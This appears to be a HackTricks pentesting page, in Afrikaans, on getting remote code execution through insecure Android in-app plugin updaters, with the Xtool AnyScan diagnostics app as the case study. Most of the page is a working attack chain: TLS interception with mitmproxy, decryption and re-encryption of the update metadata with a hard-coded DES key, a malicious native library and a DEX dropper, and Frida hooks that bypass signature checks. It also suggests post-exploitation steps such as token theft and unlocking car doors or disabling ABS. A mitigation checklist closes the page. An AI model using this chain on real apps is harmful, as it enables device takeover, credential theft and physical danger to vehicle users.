Onveilige In‑App Update‑meganismes – Remote Code Execution via Malicious Plugins

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Baie Android‑toepassings implementeer hulle eie “plugin” of “dynamic feature” update‑kanale in plaas van die Google Play Store te gebruik. Wanneer die implementering onveilig is, kan ’n aanvaller wat in staat is om update‑verkeer te onderskep of te manipuleer arbitrêre native of Dalvik/ART‑kode verskaf wat binne die app‑proses gelaai sal word, wat lei tot volledige Remote Code Execution (RCE) op die handset — en in sommige gevalle op enige eksterne toestel wat deur die app beheer word (cars, IoT, medical devices …).

Hierdie bladsy som ’n werklike kwesbaarheidsketting saam wat in die Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) gevind is en generaliseer die tegniek sodat jy ander Android‑apps kan oudit en die wankonfigurasie kan benut tydens ’n red-team engagement.


0. Quick triage: does the app have an in‑app updater?

Statiese aanwysers om in JADX/apktool na te gaan:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Network endpoints like /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Crypto helpers near update paths (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Unzip paths writing under app-internal or external storage, then immediately loading a .so/DEX.

Runtime hooks to confirm:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Identifisering van 'n Onveilige TLS TrustManager

  1. Dekompileer die APK met jadx / apktool en lokaliseer die netwerkstapel (OkHttp, HttpUrlConnection, Retrofit…).
  2. Soek na 'n pasgemaakte TrustManager of HostnameVerifier wat blindelings elke sertifikaat vertrou:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Indien dit teenwoordig is, sal die toepassing enige TLS certificate aanvaar → jy kan 'n transparent MITM proxy met 'n self-signed cert laat loop:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

As TLS pinning afgedwing word in plaas van unsafe trust-all logic, sien:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering van die Update Metadata

In die AnyScan-geval veroorsaak elke app-opstart 'n HTTPS GET na:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Die response body is 'n XML-dokument waarvan die <FileData> nodes Base64-encoded, DES-ECB encrypted JSON bevat wat elke beskikbare plugin beskryf.

Tipiese opsporingsstappe:

  1. Lokaliseer die crypto routine (bv. RemoteServiceProxy) en bepaal:
  • algoritme (DES / AES / RC4 …)
  • bedryfsmodus (ECB / CBC / GCM …)
  • hard-coded key / IV (gewoonlik 56‑bit DES of 128‑bit AES konstantes)
  1. Herimplementer die funksie in Python om die metadata te decrypt / encrypt:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Waarnemings uit die veld (2023–2025):

  • Metadata is dikwels JSON-within-XML of protobuf; weak ciphers en static keys kom algemeen voor.
  • Baie updaters aanvaar plain HTTP vir die werklike payload-aflaai, selfs al kom metadata oor HTTPS.
  • Plugins pak gereeld uit na app-internal storage; sommige gebruik steeds external storage of die legacy requestLegacyExternalStorage, wat cross-app tampering moontlik maak.

3. Skep 'n Kwaadaardige Plugin

3.1 Inheemse biblioteekpad (dlopen/System.load[Library])

  1. Kies enige legitieme plugin ZIP en vervang die native library met jou payload:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Werk die JSON-metadata by sodat "FileName" : "PWNED.zip" en "DownloadURL" na jou HTTP server wys.
  2. Her-enkripteer + Base64-encode die gemodifiseerde JSON en plak dit terug in die onderskepte XML.

3.2 Dex-gebaseerde plugin-pad (DexClassLoader)

Sommige apps laai 'n JAR/APK af en laai kode via DexClassLoader. Bou 'n kwaadwillige DEX wat by laai geaktiveer word:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

As die teiken Class.forName("pwn.Dropper") aanroep, word jou statiese initializer uitgevoer; andersins, enumereer reflekterend die gelaaide klasse met Frida en roep 'n geëksporteerde metode aan.


4. Lewer die Payload met mitmproxy

addon.py voorbeeld wat stilweg die oorspronklike metadata ruil:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Voer 'n eenvoudige webbediener uit om die skadelike ZIP/JAR te huisves:

bash
python3 -m http.server 8000 --directory ./payloads

Wanneer die slagoffer die app open, sal dit:

  • haal ons vervalste XML oor die MITM-kanaal;
  • dekripteer & parseer dit met die hard-coded crypto;
  • laai PWNED.zip of plugin.jar af → unzip binne die privaat stoorplek;
  • laai die ingeslote .so of DEX, en voer ons kode onmiddellik uit met die app se toestemmings (kamera, GPS, Bluetooth, lêerstelsel, …).

Omdat die plugin op skyf gecache word, bly die backdoor oor na herstart en word dit elke keer uitgevoer wanneer die gebruiker die verwante funksie kies.


4.1 Omseiling van signature/hash-kontroles (wanneer teenwoordig)

As die updater signatures of hashes valideer, hook die verifikasie om altyd aanvallersinhoud te aanvaar:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Oorweeg ook om verskaffer‑metodes te stub soos PluginVerifier.verifySignature(), checkHash(), of om die update‑gating‑logika in Java of JNI kortsluit.


5. Ander aanvalsvlakke in opdateringsmeganismes (2023–2025)

  • Zip Slip path traversal terwyl plugins uitgepak word: kwaadwillige inskrywings soos ../../../../data/data/<pkg>/files/target oorskryf arbitrêre lêers. Saniteer altyd inskrywings‑paaie en gebruik toegangslyste.
  • Eksterne stoorplek staging: as die app die argief na external storage skryf voordat dit gelaai word, kan enige ander app daaraan knoei. Scoped Storage of interne app‑opberg voorkom dit.
  • Onsleutelde aflaaie: metadata oor HTTPS maar die payload oor HTTP → eenvoudige MITM‑ruil.
  • Onvolledige handtekeningkontroles: slegs 'n enkele lêerhash vergelyk, nie die hele argief nie; nie die handtekening aan die ontwikkelaar‑sleutel bind nie; enige RSA‑sleutel in die argief aanvaar.
  • React Native / Web-based OTA content: as native bridges JS vanaf OTA uitvoer sonder streng ondertekening, is arbitrêre kode‑uitvoering in die app‑konteks moontlik (bv. onveilige CodePush‑agtige strome). Verseker detached update signing en streng verifikasie.

6. Post‑eksploitasie‑idees

  • Steel sessie‑cookies, OAuth‑tokens, of JWTs wat deur die app gestoor is.
  • Plaas 'n tweede‑fase APK en installeer dit stilweg via pm install indien moontlik (sommige apps verklaar reeds REQUEST_INSTALL_PACKAGES).
  • Misbruik enige gekoppelde hardeware – in die AnyScan‑scenario kan jy arbitrêre OBD‑II / CAN‑bus opdragte stuur (deure ontsluit, ABS deaktiveer, ens.).

Opsporing- & Mitigering‑kontrolelys (blue team)

  • Vermy dinamiese kode‑lading en updates buite die winkel. Verkies Play‑gemedieerde updates. As dinamiese plugins 'n harde vereiste is, ontwerp dit as data‑slegs bondels en hou uitvoerbare kode in die basis‑APK.
  • Handhaaf TLS korrek: geen pasgemaakte trust‑all managers nie; implementeer pinning waar uitvoerbaar en 'n geharde network security config wat onsleutelde verkeer verbied.
  • Laai nie uitvoerbare kode van buite Google Play af nie. As dit noodsaaklik is, gebruik detached update signing (bv. Ed25519/RSA) met 'n deur die ontwikkelaar gehoue sleutel en verifieer voor lading. Bind metadata en payload (lengte, hash, weergawe) en fail closed.
  • Gebruik moderne kriptografie (AES‑GCM) met per‑boodskap nonces vir metadata; verwyder hard‑gekodeerde sleutels uit kliente.
  • Valideer integriteit van afgelaaide argiewe: verifieer 'n handtekening wat elke lêer dek, of ten minste verifieer 'n manifest van SHA‑256‑hashes. Verwerp ekstra/onbekende lêers.
  • Stoor aflaaie in app‑interne stoorplek (of Scoped Storage op Android 10+) en gebruik lêermagteigings wat kruis‑app knoeiing voorkom.
  • Verdedig teen Zip Slip: normaliseer en valideer zip‑inskrywing‑paaie voor uitpak; verwerp absolute paaie of .. segmente.
  • Oorweeg Play “Code Transparency” sodat jy en gebruikers kan verifieer dat die versendde DEX/native kode ooreenstem met wat jy gebou het (aanvulling, maar vervang nie APK‑handtekening nie).

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks